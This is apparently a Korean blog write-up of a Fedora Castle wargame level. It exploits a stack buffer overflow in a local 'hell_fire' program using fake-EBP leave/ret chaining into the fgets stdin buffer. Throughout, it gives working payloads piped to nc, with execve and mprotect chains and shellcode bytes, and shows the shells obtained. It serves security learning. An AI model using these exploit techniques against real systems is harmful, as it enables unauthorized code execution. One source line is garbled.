[3] dark_eyes -> hell_fire ( Fake EBP & fgets Cache memory / mprotect)

2017. 11. 28. 21:33SystemHacking/Fedora Catle




dark_eyes / because of you


[ hellfire.c ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 
#include <stdio.h>
 
int main()
{
        char buffer[256];
        char saved_sfp[4];
        char temp[1024];
 
        printf("hell_fire : What's this smell?\n");
        printf("you : ");
        fflush(stdout);
 
        // give me a food
        fgets(temp, 1024, stdin);
 
        // save sfp
        memcpy(saved_sfp, buffer+2644);
 
        // overflow!!
        strcpy(buffer, temp);
 
        // restore sfp
        memcpy(buffer+264, saved_sfp, 4);
 
        printf("%s\n", buffer);
}
 
cs


이전 문제와 마찬가지로 saved ebp 부분이 항상 일정하도록 유지되어 있습니다

fgets로 문자열을 입력받는 부분에서 오버플로우가 발생합니다


[ 소스코드 분석 ]

0x08048484 <main+0>: push   ebp

0x08048485 <main+1>: mov    ebp,esp

0x08048487 <main+3>: sub    esp,0x518

0x0804848d <main+9>: and    esp,0xfffffff0

... (생략) ...

0x080484a6 <main+34>: push   0x8048644

0x080484ab <main+39>: call   0x80483ac <_init+88> printf

0x080484b0 <main+44>: add    esp,0x10

0x080484b3 <main+47>: sub    esp,0xc

0x080484b6 <main+50>: push   0x8048664

0x080484bb <main+55>: call   0x80483ac <_init+88> printf

0x080484c0 <main+60>: add    esp,0x10

0x080484c3 <main+63>: sub    esp,0xc

0x080484c6 <main+66>: push   ds:0x8049784

0x080484cc <main+72>: call   0x804837c <_init+40> fflush()

0x080484d1 <main+77>: add    esp,0x10

0x080484d4 <main+80>: sub    esp,0x4

0x080484d7 <main+83>: push   ds:0x8049788  <-- fgets가 사용하는 Data Section주소

0x080484dd <main+89>: push   0x400 

0x080484e2 <main+94>: lea    eax,[ebp-1304]

0x080484e8 <main+100>: push   eax

0x080484e9 <main+101>: call   0x804838c <_init+56> fgets( tmp,1024,stdin )

0x08048514 <main+144>: lea    eax,[ebp-1304]

0x0804851a <main+150>: push   eax

0x0804851b <main+151>: lea    eax,[ebp-264]

0x08048521 <main+157>: push   eax

0x08048522 <main+158>: call   0x80483cc <_init+120> strcpy(buffer,temp)


[ Stack ]

temp         1024byte

saved_sfp         4byte

dummy 16byte

buffer 256byte 

dummy 8byte

saved ebp         0xfee2d628

saved eip


< 풀이 과정 > Cache Memory & fake ebp 이용

1> saved ebp는 항상 고정값이다 ( 주소 : 0xfee2d628 )

=> 해당 주소의 값을 변조하여서 fake ebp로 활용한다


[ 입력값 ]

[dark_eyes@Fedora_1stFloor ~]$ python -c 'print "A" * 268 + "BBBB" + "A"*88 + "CCCC" + "DDDD"'

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCCDDDD

[ gdb ]

[dark_eyes@Fedora_1stFloor ~]$ cp hell_fire hell_fire.cp

[dark_eyes@Fedora_1stFloor ~]$ gdb -q hell_fire.cp

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) set disassembly-flavor intel

(gdb) disas main

0x08048484 <main+0>:    push   ebp

0x08048485 <main+1>:    mov    ebp,esp

0x08048487 <main+3>:    sub    esp,0x518

... (생략) ...

0x08048561 <main+221>:  leave

0x08048562 <main+222>:  ret

# run 으로 실행한 뒤 위에서 출력한 문자열을 입력하였다

Breakpoint 1, 0x08048561 in main ()

(gdb) x/24x $ebp

  saved ebp        saved eip ( &leaveret )

0xfee2d5c8:     0xfee2d628      0x42424242      0x41414141      0x41414141

0xfee2d5d8:     0x41414141      0x41414141      0x41414141      0x41414141

0xfee2d5e8:     0x41414141      0x41414141      0x41414141      0x41414141

0xfee2d5f8:     0x41414141      0x41414141      0x41414141      0x41414141

0xfee2d608:     0x41414141      0x41414141      0x41414141      0x41414141

0xfee2d618:     0x41414141      0x41414141      0x41414141      0x41414141

  fake ebp        saved eip ( &leaveret )

0xfee2d628:     0x43434343      0x44444444      0x0804000a    0x08048484



[ Stack ]

buffer 256byte 

dummy 8byte

saved ebp     0xfee2d628

saved eip         &leaveret 1

       "A" * 88

   fake ebp

       &leaveret 2


[ 동작과정 ]

[1] leave 1

mov esp,ebp

pop ebp    => EBP: 0xfee2d628

    => ESP: 0xfee2d62c

[2] ret 1

pop eip    => EIP: 0xfee2d62c ( &leaveret 2 )


[3] leave 2

mov esp,ebp    => ESP: fake ebp

pop ebp    => EBP: Fake ebp

    => ESP: Fake ebp+4

[4] ret 2

pop eip    => pop Fake ebp+4 


이후에 어떤 코드를 작성해서 문제를 풀어야 하는지 감이 오셨나요 ?

Fake ebp+4 지점에 execve()함수나 system()함수와 같이 명령어를 실행시키는 함수의 라이브러리 주소를 입력해주도록 코드를 작성하여야 합니다

우선 Fake ebp 지점을 어느 곳으로 정하여야 하는지 정하여야 합니다 ! 변하지 않는 주소값이여야 execve()함수에 인자로 넣어 줄 수 있습니다


fgets()함수가 사용하는 Data Section( Cache Memory )을 이용하도록 합니다

fgets로 입력받는 입력값들은 Cache Memory에 저장된 다음 변수에 저장되어 진다


2> Fake ebp로 사용할 주소 및 인자 구성하기

[ disas main ]

0x080484d7 <main+83>: push   ds:0x8049788  <-- fgets가 사용하는 Data Section주소

0x080484dd <main+89>: push   0x400 

0x080484e2 <main+94>: lea    eax,[ebp-1304]

0x080484e8 <main+100>: push   eax

0x080484e9 <main+101>: call   0x804838c <_init+56> fgets( tmp,1024,stdin )


[ gdb 분석 ]

(gdb) x/4x 0x8049788

0x8049788 <stdin@@GLIBC_2.0>:   0x0083f720      0x00000000      0x00000000      0x00000000

(gdb)

0x8049798:      0x00000000      0x00000000      0x00000000      0x00000000

(gdb) x/4x 0x0083f720

0x83f720 <_IO_2_1_stdin_>:      0xfbad2288      0xf6ffe16d      0xf6ffe16d      0xf6ffe000


(gdb)  x/24x 0xf6ffe000

0xf6ffe000:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe010:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe020:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe030:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe040:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe050:     0x41414141      0x41414141      0x41414141      0x41414141

(gdb)

0xf6ffe060:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe070:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe080:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe090:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe0a0:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe0b0:     0x41414141      0x41414141      0x41414141      0x41414141

(gdb)

0xf6ffe0c0:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe0d0:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe0e0:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe0f0:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe100:     0x41414141      0x41414141      0x41414141      0x42424242 <-- saved eip &leaveret

0xf6ffe110:     0x41414141      0x41414141      0x41414141      0x41414141

(gdb)

0xf6ffe120:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe130:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe140:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe150:     0x41414141      0x41414141      0x41414141      0x41414141

[fake ebp] [saved eip] &leaveret

0xf6ffe160:     0x41414141      0x41414141      0x43434343      0x44444444

[&execve] [XXXX] [argv1] [argv2]

0xf6ffe170:     0x0000000a      0x00000000      0x00000000      0x00000000

[argv3]                 

0xf6ffe180: 0x00000000 0x00000000 0x00000000 0x00000000


fake ebp 값을 0xf6ffe16c 로 설정한다면 leaveret 이 수행될 때 ebp+4 지점에는 &execve 가 위치하고 있기때문에 execve함수가 실행된다

execve의 인자로 사용하기 위해 execve()함수의 ebp+8 , ebp+12 , ebp+16 지점에 3개의 인자를 넣어준다


3> 인자로 사용해야할 인자들의 주소

[1] /bin/sh 위치

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
 
int main (int argc, char* argv[]) {
        long shell;
        shell = 0x007507c0;
        while(memcmp((void *) shell, "/bin/sh"8)) {
                shell++;
        }
 
        printf("\"/bin/sh\" is at 0x%x\n", shell);
        printf("printf %s\n",shell);
        return 0;
}
cs

 [dark_eyes@Fedora_1stFloor tmp] gcc -o find find.c

[dark_eyes@Fedora_1stFloor tmp]$ ./find

 "/bin/sh" is at 0x833603

 printf /bin/sh

[2] &execve()

 (gdb) p execve

 $2 = {<text variable, no debug info>} 0x7a5490 <execve> 

[3] &leaveret

 0x08048561 <main+221>:  leave 

[4] execve() 구성

 int  execve(const  char  *filename,  char  *const  argv [], char *const envp[]);


[ Payload 입력 시 Cache Memory구성 ]

0xf6ffe100:     0x41414141      0x41414141      0x41414141      0x61850408 <-- &leaveret 1

0xf6ffe110:     0x41414141      0x41414141      0x41414141      0x41414141

(gdb)

0xf6ffe120:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe130:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe140:     0x41414141      0x41414141      0x41414141      0x41414141

0xf6ffe150:     0x41414141      0x41414141      0x41414141      0x41414141

[fake ebp] [&leaveret 2]

0xf6ffe160:     0x41414141      0x41414141      0x6ce1fff6     0x61850408

&execve AAAA argv1(/bin/sh)

0xf6ffe170:     0x90547a00      0x41414141      0x03368300      0x84e1fff6 <-- argv2 ( &{&/bin/sh,NULL} )

argv3(&NULL) &"/bin/sh" NULL

0xf6ffe180:     0x88e1fff6      0x03368300      0x00000000      0x0000000a

0xf6ffe190:     0x00000000      0x00000000      0x00000000      0x00000000



4> Payload 작성

[dark_eyes@Fedora_1stFloor ~]$ (python -c 'print "A" * 268 + "\x61\x85\x04\x08" + "A" * 88 + "\x6c\xe1\xff\xf6" + "\x61\x85\x04\x08"+ "\x90\x54\x7a\x00" + "AAAA" + "\x03\x36\x83\x00" + "\x84\xe1\xff\xf6" + "\x88\xe1\xff\xf6" + "\x03\x36\x83\x00" + "\x00\x00\x00\x00"';cat) | nc localhost 7777                                 &Null

hell_fire : What's this smell?               

you :

id

uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t

my-pass

euid = 503

sign me up

* execve( "/bin/sh" , { "/bin/sh" , 0 } , 0 ) 이 실행되어 쉘을 얻을 수 있다

[dark_eyes@Fedora_1stFloor ~]$ (python -c 'print "A" * 268 + "\x61\x85\x04\x08" + "A" * 88 + "\x6c\xe1\xff\xf6" + "\x61\x85\x04\x08"+ "\x90\x54\x7a\x00" + "AAAA" + "\x03\x36\x83\x00" + "\x84\xe1\xff\xf6" + "\x00\x00\x00\x00" + "\x03\x36\x83\x00" + "\x00\x00\x00\x00"';cat) | nc localhost 7777                    // 직접 NULL을 입력해도 된다
hell_fire : What's this smell?             
you :
id
uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t
my-pass
euid = 503
sign me up


# /bin/sh을 직접 입력해서 사용할 수도 있다

[dark_eyes@Fedora_1stFloor ~]$ (python -c 'print "A" * 268 + "\x61\x85\x04\x08" + "A" * 88 + "\x6c\xe1\xff\xf6" + "\x61\x85\x04\x08"+ "\x90\x54\x7a\x00" + "AAAA" + "\x8c\xe1\xff\xf6" + "\x84\xe1\xff\xf6" + "\x00\x00\x00\x00" + "\x8c\xe1\xff\xf6" + "\x00\x00\x00\x00"+"/bin/sh\x00"';cat) | nc localhost 7777

hell_fire : What's this smell?

you :

id

uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t

my-pass

euid = 503

sign me up





< mprotect를 이용한 문제 풀이 >


int mprotect(const void *addr, size_t len, int prot);

argv1 (시작주소)    : 권한을 부여할 주소의 시작주소

argv2 (크기)          : 1024 or 2048 or ...

argv3 (권한)          : 0x07 ( rwx )


[ gdb - Cache Memory 구조 ]

leave :0x08048561

mprotect :0x00714670 


0xf6ffe150: 0x41414141 0x41414141 0x41414141 0x41414141

[fake ebp] [saved eip](&leaveret 2)

0xf6ffe160: 0x41414141 0x41414141 0x6ce1fff6 0x61850408

saved ebp saved eip

[&mprotect] &shellcode argv1 argv2

0xf6ffe170: 0x70467100 0x84e1fff6 0x???????? 0x????????

argv3 shellcode

0xf6ffe180: 0x???????? 0xXXXXXXXX 0xXXXXXXXX ..........

0xf6ffe180: ......


mprotect함수가 실행되어 쉘코드가 위치한 주소의 권한이 실행권한을 가지게 한다
saved eip 에 저장된 쉘 코드의 주소로 SFP가이동하여 쉘이 실행된다


[ Payload ]

[dark_eyes@Fedora_1stFloor ~]$ (python -c 'print "A" * 268 + "\x61\x85\x04\x08" + "B" * 88 + "\x6c\xe1\xff\xf6" + "\x61\x85\x04\x08" + "\x70\x46\x71\x00" + "\x84\xe1\xff\xf6" + "\x00\xe0\xff\xf6" + "\x00\x04\x00\x00" + "\x07\x00\x00\x00" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"';cat) | nc localhost 7777    

// &mprotect + &shellcode + argv1,2,3 + shellcode ; 이유는 알 수 없지만 mprotect의 첫 인자인 시작주소를 \xf6\xff\xe0\x00 으로 해주어야 한다

hell_fire : What's this smell?

you : 

id

uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t

my-pass   

euid = 503

sign me up